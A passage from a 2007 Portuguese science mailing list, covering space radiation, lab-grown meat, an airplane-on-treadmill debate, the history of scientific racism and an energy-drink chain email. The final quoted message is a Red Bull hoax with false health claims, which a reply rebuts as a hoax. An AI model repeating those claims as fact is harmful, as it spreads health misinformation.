capazes de proteger os astronautas desses danos biológicos, com
prioridade na prevenção de câncer. Segundo o especialista em radiação
Zeitlin, "independentemente do tipo de blindagem, as partículas virão
com tudo, e os astronautas sempre irão receber doses muito maiores de
radiação que as pessoas na Terra. Isso aumenta o risco de câncer e de
outras doenças que eles podem desenvolver. Seria extremamente útil
encontrar uma droga ou um suplemento alimentar, ou uma combinação de
ambos que ajudasse a minimizar esses riscos".

Os astronautas que viajam além dos limites de proteção da Terra
estarão submetidos a doses mais altas de radiações prejudiciais à
saúde. Com efeito, astronautas já relataram ter visto flashes de luz
azul quando raios cósmicos atravessam rapidamente o globo ocular
(ver "Uma experiência ocular", acima) e muitos ex-astronautas
adquiriram catarata.

Há até bem pouco tempo, os efeitos biológicos da radiação no espaço
não eram muito conhecidos. Apesar de o conhecimento ter melhorado
bastante, ainda não é suficiente para garantir a segurança dos
astronautas em missões de três anos ou mais.

Precisamos conhecer que efeitos as viagens espaciais de longa duração
produzem no corpo humano e como proteger os futuros passageiros do
espaço, antes de ousar chegar aonde ninguém jamais chegou, com total
segurança.

Quanto o corpo humano pode suportar
A radiação não está presente somente no espaço. Muitos objetos no
solo são radioativos. Cada um de nós está sujeito a uma exposição de
aproximadamente 360 milirém (mrem) por ano. (Um rem relaciona a dose
absorvida com o dano biológico produzido). Oitenta e dois por cento
dessa radiação vem de fontes naturais: do ar, do solo, de alimentos e
do cosmos. Os 18% restantes são produzidos pelo homem: aparelhos de
raios X e eletroeletrônicos (TVs, telefones celulares etc.). A dose
máxima de radiação ocupacional para trabalhadores nessas áreas é de
5.000 mrem/ano.

Doses muito mais altas que essas representam riscos sérios à saúde. O
dano causado por uma elevada dose de radiação, num curto período,
será maior do que se a mesma quantidade de radiação for acumulada ao
longo de vários anos. Se você receber uma dose de 75 rem terá a
doença da radiação. Já com uma dose de 300 a 500 rem, haverá risco de
50% de morrer em 30 dias. Doses tão altas são absolutamente
indesejáveis para os profissionais que trabalham com radiação e para
os astronautas.



Uma experiência ocular
As partículas de alta energia bombardeiam continuamente a atmosfera
da Terra. A maior parte delas - chamadas de raios cósmicos primários -
são prótons e outros núcleos atômicos. Elas interagem com os núcleos
de gases da atmosfera, produzindo uma chuva de partículas de baixa
energia - os raios cósmicos secundários. Esse processo se repete e
acaba produzindo um chuveiro de partículas na baixa atmosfera.

Se a energia dos raios cósmicos primários for suficientemente alta,
as partículas criadas pelo chuveiro atmosférico chegarão até a
superfície da Terra. Essas partículas são principalmente múons,
elétrons, pósitrons e neutrinos. Os raios gama acompanham essas
partículas. Se a partícula que deu início ao chuveiro não tiver
energia suficientemente alta - a maioria não tem -, a partícula não
atinge a superfície.

Uma forma de detectar partículas de alta energia no solo é através de
um efeito secundário que elas produzem, chamado de radiação Cerenkov.
Quando a luz se propaga em qualquer meio que não seja o vácuo, sua
velocidade diminui, mas as partículas de alta energia sofrem menos
esse efeito. Quando essas partículas de alta energia se propagam pela
água ou pela atmosfera, têm uma velocidade que é maior que a
velocidade da luz naquele meio e geram uma "onda de choque óptica".
Isso equivale ao estrondo sonoro criado por uma aeronave que se
desloca com velocidade maior que a velocidade do som no ar.

Astronautas dos ônibus espaciais, da ISS e da Apollo relatam ter
visto flashes de luz quando estavam em completa escuridão ou com os
olhos fechados. Esses flashes ocorrem porque uma substância
semelhante a um gel - chamada de humor vítreo - preenche cerca de 80%
do globo ocular humano. Como o humor vítreo é basicamente água, os
olhos dos astronautas funcionam como detectores de radiação Cerenkov.
A onda de choque óptica se move através do humor vítreo e a retina a
detecta na forma de um flash de luz. - L. K.



Sobre a autora
Jacqueline Garget escreve sobre ciência e mora no Reino Unido

http://www2. uol.com.br/ astronomy/ conteudo/ materia/materia_ 5.html



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SUBJECT: the vision of the future
FROM: Bruna Carolina Ribas <brunacribas@yahoo.com.br>
TO: Ciência Lista <ciencialist@yahoogrupos.com.br>
DATE: 27/02/2007 09:07





Nutrition Research - Test-Tube Steaks Großansicht des Bildes mit der Bildunterschrift:


"My vision is to produce meat without raising or slaughtering animals," says veterinarian Henk Haagsman of the University of Utrecht. "That will reduce environmental pollution worldwide, eliminate problems of infectious disease, and give animals better lives."
Haagsman wants to grow artificial meat from stem cells. The Dutch government has provided 5 million Euros for his research. "By 2010, we want to prove this is feasible in principle, so that we can realize it on a small scale," says Haagsman. "In a second step, we'll need a few years to create a product that is like meat and can be used as a pizza topping, for example." But it will be at least twenty years before meat can be manufactured.

---------------------------------------------------------------------------------

Bildunterschrift: Großansicht des Bildes mit der Bildunterschrift:
Veterinarian Henk Haagsman is searching for an alternative to industrial agriculture methods. Much of the meat that ends up on our plates comes from animals raised in cramped and unnatural conditions. Mass livestock consumes a vast amount of resources, and produces mountains of dung. In most factory farms, piglets are taken away from the sow after just one week, and sows that give birth to less than 16 young are killed immediately. At Utrecht University's Faculty of Veterinary Medicine, the researchers once focused on trying to improve livestock strength and health, because industrial methods have led to weakened immune response and deformities in the most common breeds.
Bildunterschrift: Großansicht des Bildes mit der Bildunterschrift:
But Haagsman now thinks that research in this direction has reached its limits. He says it's no longer reasonable to raise animals for the sole purpose of killing them for their meat. So he's trying to produce an artificial, clean alternative. "There will be some advantages, because nowadays you see that the meat is very, very poor quality, especially the meat in these productions that look like factories that is sometimes not very high quality. And you can probably have a more constant quality of cultured meat", he says.
Bildunterschrift: Großansicht des Bildes mit der Bildunterschrift:
The Dutch government was interested enough in the idea of producing meat without animals to give him around five million euros in research funding in 2005. The new labs the researcher has planned are still going up. His first task is to find out if the idea is even feasible. Haagman wants to grow meat directly from stem cells. Compared to differentiated cells, stem cells have one major advantage - when they divide, they retain access to ALL of their genetic information. Cell division, and growth of cell mass, can theoretically continue forever. But cell mass alone isn't the deciding factor. Taken from an embryo at an early stage of development, stem cells can theoretically turn into all of the types of tissue that occur in meat. But what would it taste like? Haagsmann: "We don't know much about what is now the typical lamb flavour, or the beef flavour or the pork flavour, but that's something that should be found out, and maybe you have to do something else to make it
taste more like lamb or like beef. Of course, we have started now with pork, making the meat from pigs, but it's also possible to do it from other animals, including chickens, or even fish."
Bildunterschrift: Großansicht des Bildes mit der Bildunterschrift:
The visionary scientist is fascinated by the enormous potential of 'cultured'meat. He likes to illustrate it with a couple of everyday items - rice grains and a chessboard. If you place one grain of rice in the first square, and double the number of grains on each successive square, in the final one you end up with an enormous amount of rice. Now substitute grains for cells. "If we start with for example, thirty thousand cells on place one of the chess board, we would end on place 64 with 240 billion kilogrammes of meat. That's the whole consumption of the earth in one year, so about 6 billion people eating about 40 kilogrammes per capita. And it's very fascinating, because it can be done, because our stem cells have the propensity to repeat, to double, every ten, fifteen hours for hundreds of times. And this is only 63 times from one to 64. So it's amazing if we can sustain this exponential growth with the cells to produce enough meat for the whole world", Haagsmann says.
Bildunterschrift: Großansicht des Bildes mit der Bildunterschrift:
If Haagman's vision takes off, real meat might one day become a rare and expensive delicacy. He says that day might not be far off: "Within the next four years, we want to get a proof of principle so that we are able to do it on a small scale, and second, we will need a few more years to make a product that is not like a real piece of meat, but more like minced meat, like meat products that you use on other products like pizza and so on. And it will take maybe twenty years before we can really make meat that looks like a piece of meat as we know it."
Bildunterschrift: Großansicht des Bildes mit der Bildunterschrift:
The environment would also profit if factory farming became a thing of the past, says Haagman. Even the most efficient industrial agriculture facility takes up a lot of space, and produces a lot of waste. So is it just a dream? Will people be able to overcome an instinctive aversion to the idea of 'cultured' meat? Haagsman says: "I think in the future,the people would really want to eat products like this. It's just a matter of time." Maybe one day, cattle will once again spend their lives out on pastures in peaceful contemplation. In the future, factory farms and slaughterhouses could become a thing of the past. Henk Haagsman is working to make that vision reality.

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SUBJECT: Re: [ciencialist] the vision of the future
FROM: Bruna Carolina Ribas <brunacribas@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/02/2007 09:31

Ficou ruim sem as fotos...

Então, aqui está o link:
http://www.dw-world.de/dw/article/0,2144,2256493,00.html


Bruna Carolina Ribas <brunacribas@yahoo.com.br> escreveu:

Nutrition Research - Test-Tube Steaks Großansicht des Bildes mit der Bildunterschrift:


"My vision is to produce meat without raising or slaughtering animals," says veterinarian Henk Haagsman of the University of Utrecht. "That will reduce environmental pollution worldwide, eliminate problems of infectious disease, and give animals better lives."
Haagsman wants to grow artificial meat from stem cells. The Dutch government has provided 5 million Euros for his research. "By 2010, we want to prove this is feasible in principle, so that we can realize it on a small scale," says Haagsman. "In a second step, we'll need a few years to create a product that is like meat and can be used as a pizza topping, for example." But it will be at least twenty years before meat can be manufactured.

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Bildunterschrift: Großansicht des Bildes mit der Bildunterschrift:
Veterinarian Henk Haagsman is searching for an alternative to industrial agriculture methods. Much of the meat that ends up on our plates comes from animals raised in cramped and unnatural conditions. Mass livestock consumes a vast amount of resources, and produces mountains of dung. In most factory farms, piglets are taken away from the sow after just one week, and sows that give birth to less than 16 young are killed immediately. At Utrecht University's Faculty of Veterinary Medicine, the researchers once focused on trying to improve livestock strength and health, because industrial methods have led to weakened immune response and deformities in the most common breeds.
Bildunterschrift: Großansicht des Bildes mit der Bildunterschrift:
But Haagsman now thinks that research in this direction has reached its limits. He says it's no longer reasonable to raise animals for the sole purpose of killing them for their meat. So he's trying to produce an artificial, clean alternative. "There will be some advantages, because nowadays you see that the meat is very, very poor quality, especially the meat in these productions that look like factories that is sometimes not very high quality. And you can probably have a more constant quality of cultured meat", he says.
Bildunterschrift: Großansicht des Bildes mit der Bildunterschrift:
The Dutch government was interested enough in the idea of producing meat without animals to give him around five million euros in research funding in 2005. The new labs the researcher has planned are still going up. His first task is to find out if the idea is even feasible. Haagman wants to grow meat directly from stem cells. Compared to differentiated cells, stem cells have one major advantage - when they divide, they retain access to ALL of their genetic information. Cell division, and growth of cell mass, can theoretically continue forever. But cell mass alone isn't the deciding factor. Taken from an embryo at an early stage of development, stem cells can theoretically turn into all of the types of tissue that occur in meat. But what would it taste like? Haagsmann: "We don't know much about what is now the typical lamb flavour, or the beef flavour or the pork flavour, but that's something that should be found out, and maybe you have to do something else to make it
taste more like lamb or like beef. Of course, we have started now with pork, making the meat from pigs, but it's also possible to do it from other animals, including chickens, or even fish."
Bildunterschrift: Großansicht des Bildes mit der Bildunterschrift:
The visionary scientist is fascinated by the enormous potential of 'cultured'meat. He likes to illustrate it with a couple of everyday items - rice grains and a chessboard. If you place one grain of rice in the first square, and double the number of grains on each successive square, in the final one you end up with an enormous amount of rice. Now substitute grains for cells. "If we start with for example, thirty thousand cells on place one of the chess board, we would end on place 64 with 240 billion kilogrammes of meat. That's the whole consumption of the earth in one year, so about 6 billion people eating about 40 kilogrammes per capita. And it's very fascinating, because it can be done, because our stem cells have the propensity to repeat, to double, every ten, fifteen hours for hundreds of times. And this is only 63 times from one to 64. So it's amazing if we can sustain this exponential growth with the cells to produce enough meat for the whole world", Haagsmann
says.
Bildunterschrift: Großansicht des Bildes mit der Bildunterschrift:
If Haagman's vision takes off, real meat might one day become a rare and expensive delicacy. He says that day might not be far off: "Within the next four years, we want to get a proof of principle so that we are able to do it on a small scale, and second, we will need a few more years to make a product that is not like a real piece of meat, but more like minced meat, like meat products that you use on other products like pizza and so on. And it will take maybe twenty years before we can really make meat that looks like a piece of meat as we know it."
Bildunterschrift: Großansicht des Bildes mit der Bildunterschrift:
The environment would also profit if factory farming became a thing of the past, says Haagman. Even the most efficient industrial agriculture facility takes up a lot of space, and produces a lot of waste. So is it just a dream? Will people be able to overcome an instinctive aversion to the idea of 'cultured' meat? Haagsman says: "I think in the future,the people would really want to eat products like this. It's just a matter of time." Maybe one day, cattle will once again spend their lives out on pastures in peaceful contemplation. In the future, factory farms and slaughterhouses could become a thing of the past. Henk Haagsman is working to make that vision reality.

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SUBJECT: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/02/2007 09:36

Estou apreciando sobremaneira a discussão; acredito ser melhor que a anterior que já rolou por aqui.
Estou altamente tentado a mudar de opinião e aceitar que o avião realmente decola. Só me falta uma observação que me permitirá avaliar "quanto de atrito" está envolvido no sistema roda/avião; eis a pergunta:

Assim que um avião (normal, geral e arquibancada) abandona a pista, ao decolar, suas rodas continuam girando?

Não recordo de ter visto nenhum filme onde o avião decola e se vê as rodas girando quando são imediatamente recolhidas na fase pós-decolagem! Alias, dezenas de filmes se vê o mocinho subir no avião através do sistema de rodas e nunca vi as rodas girando ao serem recolhidas! Se assim for, esse tal de atrito não pode mesmo ser negligenciado; a menos que o piloto 'freie' as rodas no exato momento de descolar do chão.
E, assumindo que o avião decole ali pelos 300 km/h (translação), a rotação das rodas deve ser algo razoável.

Se tal atrito puder ser negligenciado, então concordo que a translação do avião nada tem a ver com a rotação das rodas e ele abandona a pista, ou esteira, ou carroceria de caminhão, ou pista de gelo, ou suspenso por cabos (tipo teleférico), ou mesmo solto de outro avião.

[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Ricardo" <ricardos@infolink.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 26 de fevereiro de 2007 17:52
Assunto: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em esteira




--- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@...>
>> É que na minha colocação eu estava pensando na turbina ligada.

From: "rmtakata" <roberto.takata@bol.com.br>
> Vamos ligah-la depois.
>
> A esteira estah rolando para tras a 500 m/s. Qual a velocidade do
> aviao - com as helices (ou turbinas) desligadas -?

Com atrito, aceleraria continuamente, indo de 0 a 500 m/s, ao final de um
intervalo de tempo dt >= 0. Sem atrito (nos rolamentos) ficaria parado. Ok?

[]s Ricardo




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SUBJECT: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/02/2007 10:53


From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
> Se tal atrito puder ser negligenciado, então concordo que a translação do
> avião
> nada tem a ver com a rotação das rodas e ele abandona a pista, ou esteira,
> ou
> carroceria de caminhão, ou pista de gelo, ou suspenso por cabos (tipo
> teleférico),
> ou mesmo solto de outro avião.

Certo, sejamos justos. O atrito não desprezível neste experimento. Se fosse,
uma pessoa comum podia dar um empurrão no Boing e ele sairia deslizando pela
pista.

No teu exemplo, de algo como um Boing, 600 km/h em relação à esteira pode
ser muito, talvez. Mas em relação à capacidade do rolamento, de suportar
tais velocidades, em virtude de aquecimento, desgaste, etc. Com um
coeficiente linear de atrito dinâmico, deixando de lado a resistência do
mecanismo, temos algo equivalente a: esquecer a esteira, dobrar o atrito da
roda e fazer o de sempre. Você acredita que dobrando o atrito o avião não
teria potência para decolar?

Certo, a decolagem exige bastante do avião, ainda mais do peso pesado do seu
exemplo, que deve ter uma velocidade máxima, voando, de uns 1000km/h e
precisa de 1/3 desta velocidade, em solo (muito mais difícil), para decolar.
Em aviões menores, que precisam de uns 90 km/h (uns 180 km/h em relação à
esteira), mas atingem na casa de 400 km/h, fica mais fácil ver o aparelho
decolando. Depois de botar a asa de volta, é claro.

Eu gostei do exemplo do Homero. Quando o avião em que você está toca na
pista na aterrissagem, você não sente, neste momento, nenhuma redução de
velocidade. Logo depois você percebe um imenso esforço de reverso, flaps e
freios parando aquele monstro. Será que este que não ajuda em quase nada na
frenagem vai realmente impedir a decolagem? Ou: você acredita que se eu
trocar as rodas de um avião por outras que tenham o dobro do atrito ele não
conseguirá voar?


[]s Ricardo




SUBJECT: Re: [ciencialist] Útero bicorno
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/02/2007 11:11

Obrigado. Minha contribuição ao assunto está no meu blog:
http://alvaroaugusto.blogspot.com/2007/02/os-milagres-de-frei-galvo.html

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Alvaro Augusto (L)" <alvaro@lunabay.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, February 26, 2007 10:50 AM
Subject: [ciencialist] Útero bicorno


> Estou lendo sobre os supostos milagres atribuidos a Frei Galvão. Em um
> deles, uma mulher portadora de útero bicorno, já tendo abortado três
> vezes,
> recorreu a orações e às "pílulas de frei Galvão", conseguindo chegar ao
> fim
> da gestação. Qual a chance de uma mulher com útero bicorno conseguir
> chegar
> ao fim da gestação? A literatura médica registra muitos desses casos?
> Seria
> interessante conhecer o caso de uma mulher ateísta ou agnóstica que tenha
> produzido prole saudável, mesmo tendo útero bicorno.
>
> [ ]s
>
> Alvaro Augusto
>
>
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> http://www.ciencialist.com
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>



SUBJECT: Eclipse Total da Lua - 03 de Mar�o de 2007
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 27/02/2007 11:55

Para quem gosta de escuro, à noite, eis

Já estão disponíveis no site URANOMETRIA NOVA as informações sobre o Eclipse Total da Lua que ocorrerá em 03 de março. Visitem a página do eclipse em:
http://www.uranometrianova.pro.br/circulares/circ0028.htm

Também já se encontra disponível o Calendário Astronômico para fevereiro de 2007:

http://www.uranometrianova.pro.br/calenda/2007/02/calendario0207.htm


[]'

Léo


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] P/Silvio: Racismo "científico"
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/02/2007 12:00

Manoel:
Não tendo à mão o que escrevi, o que pude acompanhar parcialmente na segundfa grande guerra e em seus anos anteriores (preparação da alemanha) e no pós guerra foi um "racismo" profundamente ideológico para que as conquistas científicas em plena guerra fria, não passassem para outros países. O racismo do nazismo para com os judeus é que deu a bomba H aos americanos e estes, abduziram Von Braun, o homem dos foguetes que não era nazista, não tinha ideologia e queria somente criar, não importando o patrão.
O racismo científico da alemanha foi uma das principais causas de sua derrota que ao longo do tempo seria inevitável por problemas ideológicos e raciais: Não havia tantos individos puros, arianos, para dominar todo o orbe e ele por certo entraria em conflito com o Japão.....

Quando discussões sobre assuntos histórica e científicamente altrapassados - a atualidade tem muitas, imensas perguntas ainda sem resposta, chegam a nívels de "paixão" segundo os gramáticos o termo "bizantino", sinônimo de coisa já ultrapassada é apropriado.
Até o Aurélio registra:
2. Fig. Interesse por discussões frívolas ou insignificantes, sem resultado prático, como as questões tratadas pelos teólogos bizantinos; bizantinice.

sds.,

silvio
----- Original Message -----
From: Manuel Bulcão
To: ciencialist@yahoogrupos.com.br
Sent: Monday, February 26, 2007 10:02 PM
Subject: [ciencialist] P/Silvio: Racismo "científico"


Salve, Silvio!

Silvio: Gostaria que vs. me explicasse esse racismo científico durante
a Guerra de 40 e sua relação com "bizantino" na acepção citada.

Manuel: Muitos adeptos de Darwin, inclusive alguns muito próximos,
aderiram ao racismo "científico". T. H. Huxley, por exemplo, conhecido
como "o buldogue de Darwin", escreveu que "nenhum homem racional, bem
informado, acredita que o negro médio seja igual, e muito menos
superior, ao branco médio". (Citado por Stephen J. Gould em "A Falsa
Medida do Homem"; Martins Fontes; São Paulo; 1999; p. 65)

Francis Galton (primo de Darwin), por sua vez, fundou a "eugenia": uma
técnica pretensamente baseada na teoria da evolução e que teria como
objetivo o aprimoramente deliberado da raça (leia-se, raça superior).

Considera-se Ernst Haeckel (brilhante embriologista) como o expoente
maior do racismo "científico". Em 1905, filiou-se à Associação para a
Higiene Racial (Rassenhygiene)fundada pelo médico Alfred Ploetz. Esse
clínico geral - Ploetz - chegou a pertencer ao círculo íntimo de
Hitler, que o nomeou, em 1936, para uma cátedra na Universidade de
Munique.

Naquela época (fim do século XIX e até meados do século XX) circulavam
entre os evolucionistas algumas idéias tidas como "sólidas", como: a)
todo traço fenotípipo é uma adaptação (lembro que Darwin não defendia
isso); b) o predominantemente homozigoto - indivíduo de raça pura - é
superior ao predominantemente heterozigoto - o mestiço (no século XX,
quem mais se destacou na defesa dessa tese foi o esquerdista H. J.
Muller, um dos felizardos agraciados com o Prêmio Nobel); c) As raças
humanas são espécies nascentes e, algumas delas, espécies evanescentes,
isto é, em via de extinção por inaptidão; d) no reino animal, existe
uma pressão seletiva no sentido do aumento da inteligência, pelo que,
tendo por critério o tamanho médio do crânio ou o QI mediano, pode-se
estabelecer uma hierarquia entre as raças humanas. Devido aos
preconceitos presentes no "Zeitgeist" (o espírito do tempo), à falta de
informação, aos interesses racionalizados (afinal, nenhum cientista é
um abstrato sujeito cognoscente apenas interessado na verdade; vale
dizer, não há auréola de santidade científica) e, sobretudo, a testes
tendenciosos e/ou mal elaborados - que não levam em conta determinações
extragenéticas do grau de inteligência, como a fome endêmica que
atravessa gerações entre as classes sociais subalternas,
predominantemente indígenas, mestiças ou de origem africana, bem como a
diferença de acesso à boa educação e, também, os bloqueios psíquicos
gerados pela baixa auto-estima entre os indivíduos dessas mesmas
classes -, era quase assente a idéia de que os caucasianos
representavam a raça "superior", ocupando o zênite de uma pirâmide cuja
base seria formada por diversos povos neolíticos ou caçadores-
coletores, tais como os ianomânis (que só sabem contar até dois), os
pigmeus, os fueguinos etc.

Todas essas teorias outrora consideradas "standards" já foram
refutadas, total ou parcialmente, por neodarwinistas e afins, como
Motoo Kimura, L. Cavalli-Sforza, B. D. Latter, Th Dobzhansky. Sewall
Writ, Ernst Mayr entre outros. Este último, Ernst Mayr, em seu
livro "Biologia, Ciência Única", rechaça a crença na suposta pressão
seletiva no sentido do aumento da inteligência.

Até hoje a inteligência é indevidamente supervalorizada e, com
freqüência, confundida com a Razão. Até Carl Sagan certa vez
afirmou: "Mais inteligente é melhor" [Smarter is better]. Será? Se me
fosse imposta uma escolha: salvar da morte ou a d. Raimundinha,
excelente cozinheira com 80 de QI, ou então o inteligentíssimo Edward
Teller, físico que inventou a bomba de hidrogênio e que inspirou o
personagem "Dr. Fantástico" de Stanley Kubrik, certamente que eu
salvaria a cozinheira.

Resta saber por que o racismo "científico" veio a se converter, no
século XX, numa ideologia capaz de galvanizar multidões e justificar
uma guerra total, de extermínio de massas, como foi a Segunda Guerra
Mundial.

A questão é complexa, mas creio que uma das causas tenha sido a
substituição do capitalismo livre-concorrencial - em que se destacava o
indivíduo "self-made man", o solitário jaguar da selva do mercado -
pelo capitalismo das grandes corporações - com seus
capitalistas "coletivos" e "anônimos": as S/A's; com seus técnicos
convertidos em peças intercambiáveis de uma tecnoestrutura "impessoal";
com seus trabalhadores irmanados em centrais sindicais e o "corpo"
burocrático do Estado desempenhando funções econômicas cada vez mais
importantes, principalmente na Alemanha: uma potência emergente sem
colônias, sedenta de "Lebensraum" (espaço vital). E tudo isso tendo por
pano de fundo uma conjuntura internacional anômica, com retração do
mercado entre as nações, desorganização da divisão internacional do
trabalho...

A partir de então, e em tais condições, parece que a psicologia de
grupo passou a estabelecer as regras. A antiga mentalidade tribal - a
tribo é tanto mais coesa quanto mais intenso for o
antagonismo "nós/eles" - ressurgiu do inconsciente com forças
multiplicadas, trazendo consigo todos os mitos e demônios da floresta,
entre eles Moloch.

Nesse contexto, o antigo social-darwinismo de mercado é substituído
pelo social-darwinismo de Estado; este, ao contrário daquele, encara
a "luta" pela sobrevivência não tanto como disputa interindividual,
mas, sobretudo, como empreendimento "cooperativo" e guerra entre grupos
(i.e., a seleção natural estabeleceria a triagem não só dos indivíduos,
mas também dos grupos, etnias e nações). De acordo com essa "nova
edição revista e aumentada", a disposição para cooperar com o próximo
na guerra contra o distante - visando a ocupação completa do habitat -
é tida como a mais nobre das vantagens seletivas.

Com relação à Medicina, esta passa a ser "holística", ocupando-se mais
com a saúde da raça do que com o bem-estar dos indivíduos.

Abraços,
Manuel Bulcão






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SUBJECT: Re: Re: [ciencialist] Red Bull - Você também precisa saber
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/02/2007 12:02

Olá, Takata e Ivan Carlos, agradeço pelos comentários e esclarecimentos.
Ivan me lembrou da historinha do congresso mundial de sábios com
representantes de todos os países. O representante do Japão, Joaquim Manuel
Antonio de Oliveira, ficou calado durante todo tempo em todas as mesas de
debate. Ao final, o sábio do Nepal comentou sobre seu silêncio. Ou ele é um
sábio ou ele é um estúpido! Se é uma pessoa ignorante e ficou calado, é um
sábio; se é um sábio e em nada contribuiu durante todo esse tempo, é um
estúpido...
Duas por ano, Ivan, nem as hienas!
[]s
José Renato
.............................................

----- Original Message -----
From: "Ivan Carlos" <icarlos@icarlos.net>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, February 26, 2007 10:17 PM
Subject: [Spam] Re: [ciencialist] Red Bull - Você também precisa saber


>A "glicoronolactona" (tradução de glucuronolactone - gamalactona do ácido
> glicurônico) é "criada" pelo fígado a partir da glicose, o q tem de mal
> nisso? Todo açúcar é "estimulante", considerando que estamos tratando de
> energia pura. Não comam chocolate, crianças!
>
> A cianocobalamina (b12) é essencial ao ser humano, vou passar a recomendar
> Red Bull para vegetarianos, teve pelo menos 2 casos de mortes de crianças
> de
> pais vegetarianos por não suprimir a necessidade de seus filhos em relação
> a
> B12 e outros nutrientes comumente encontrados em alimentos de origem
> animal.
> * e definitivamente b12 não tem absolutamente nada a ver com "estados de
> excitação", atribuiria esta causa a cafeína.
>
> ** substâncias q diluem o sangue?? opa, se quebrar moléculas de gordura
> temos a solução para quem tem colesterol alto!
> ** em que ponto "O consumo regular de Red Bull provoca uma série de
> doenças
> nervosas e neuronais irreversíveis."??
>
> na mensagem:
> "POR SE TRATAR DE UM TEMA DE SAÚDE PÚBLICA, POR FAVOR, REPASSEM ESTE
> E-MAIL
> A TODOS OS AMIGOS, PARTICULARMENTE AOS QUE TÊM JOVENS NA FAMÍLIA."
>
> leia-se:
> HOAX!!!!
>
> (agora volto ao limbo, não posto mais que 2 mensagens por ano nesta
> lista..
> =)
>
> []'s
>
> Ivan "Doomer" Carlos - CIO / Social Eng. Specialist
> E-mail / Skype / WLM: icarlos@icarlos.net
> Cell.: +55 (11) 8112-0666
>
>
>
> ----- Original Message -----
> From: "José Renato" <jrma@terra.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Monday, February 26, 2007 9:49 PM
> Subject: [ciencialist] Red Bull - Você também precisa saber
>
>
> RED BULL: VOCÊ TAMBÉM PRECISA SABER !
>
> POR SE TRATAR DE UM TEMA DE SAÚDE PÚBLICA, POR FAVOR, REPASSEM ESTE E-MAIL
> A
> TODOS OS AMIGOS, PARTICULARMENTE AOS QUE TÊM JOVENS NA FAMÍLIA.
>
> ESTA BEBIDA ESTÁ À VENDA EM SUPERMERCADOS E NOSSOS JOVENS PODEM CONSUMI-LA
> SEM MAIORES CUIDADOS. E ISSO PODE SER MORTAL!
>
> RED BULL foi criada para estimular o cérebro de pessoas submetidas a um
> grande esforço físico e em "coma de stress" e não para ser consumida
> habitualmente como uma bebida estimulante inocente e refrescante.
>
> RED BULL é uma BEBIDA ENERGIZANTE, comercializada no mundo com o slogan:
> "Aumenta a resistência física, a capacidade de concentração e a velocidade
> de reação, dá mais energia, agilidade e melhora o estado de ânimo".
>
>
>
> Tudo isso pode ser encontrado numa latinha de RED BULL, "a bebida
> energética
> do milênio!" No Brasil ela é oferecida de forma curiosa com o refrão: "Red
> Bull, lhe dá asas!" Sendo que "asas" é pronunciada com uma entonação
> maliciosa, dando a dica subliminar de que a bebida também dá "o maior
> barato".
>
> A RED BULL conseguiu chegar a quase 130 países, com um faturamento anual
> acima de 21 bilhões de euros na venda de cerca de 3 bilhões de latas. A
> energia estimulante e os esportes foram eleitos pela marca como as
> principais características coladas à sua imagem. Dois segmentos atrativos
> para os jovens, cativados pelo estímulo que a bebida provoca.
>
>
>
> Foi criada por Dietrich Mateschitz*, um empresário de origem austríaca,
> que
> a descobriu por acaso, durante uma viagem de negócios a Hong Kong , quando
> trabalhava para uma empresa fabricante de escovas de dente.
>
> Uma lata de 250 ml, contém 20 gramas de açúcar(no rótulo da lata SUGARFREE
> está escrito "não contém açúcar), 1000 mg de taurina, 600 mg de
> glucuronolactona, 80 mg de cafeína, 50 mg de inositol e vitaminas do
> complexo B (B2, B3, B5, B6 e B12).
>
> É uma bebida fabricada na Áustria, importada por: Red Bull do Brasil Ltda.
>
>
> MAS AS INFORMAÇÕES SOBRE ESTA BEBIDA, VÃO ALÉM DISSO
>
>
> A FRANÇA e a DINAMARCA acabam de proibi-la por ser um cocktail da morte ,
> devido aos seus componentes de vitaminas misturadas com
> "GLUCURONOLACTONE",
> produto químico desenvolvido e utilizado pelo Deptº. de Defesa dos USA,
> durante os anos 60, para estimular o moral das tropas norte-americanas no
> VIETNÃ. Seus efeitos eram próximos ao de uma droga alucinógena, reduzia o
> stress da guerra. Entretanto, no organismo dos soldados, foram
> significativos os aumentos dos índices de enxaquecas, tumores cerebrais e
> doenças do fígado.
>
> Na lata de RED BULL lê-se, entre os seus componentes, a presença de 80 mg
> de
> GLUCURONOLACTONE, medicamento catalogado como estimulante.
>
> O que a lata de RED BULL não informa são as conseqüências do seu consumo
> freqüente, que exigiria do fabricante colocar uma série de ADVERTÊNCIAS,
> tais como:
>
> 1. É perigoso tomá-lo se, em seguida, não se fizer exercício físico, já
> que
> a sua função energizante acelera o ritmo cardíaco e pode provocar um
> enfarte
> fulminante.
>
>
> 2. O risco de se sofrer uma hemorragia cerebral, porque o RED BULL contém
> substâncias que diluem o sangue, para que seja mais fácil ao coração
> bombear
> o sangue e assim se poder fazer esforço físico com menos esgotamento.
>
> 3. É proibido misturar RED BULL com álcool (esta advertência sucinta
> consta
> no rótulo do produto). A mistura com álcool transforma a bebida numa
> "bomba"
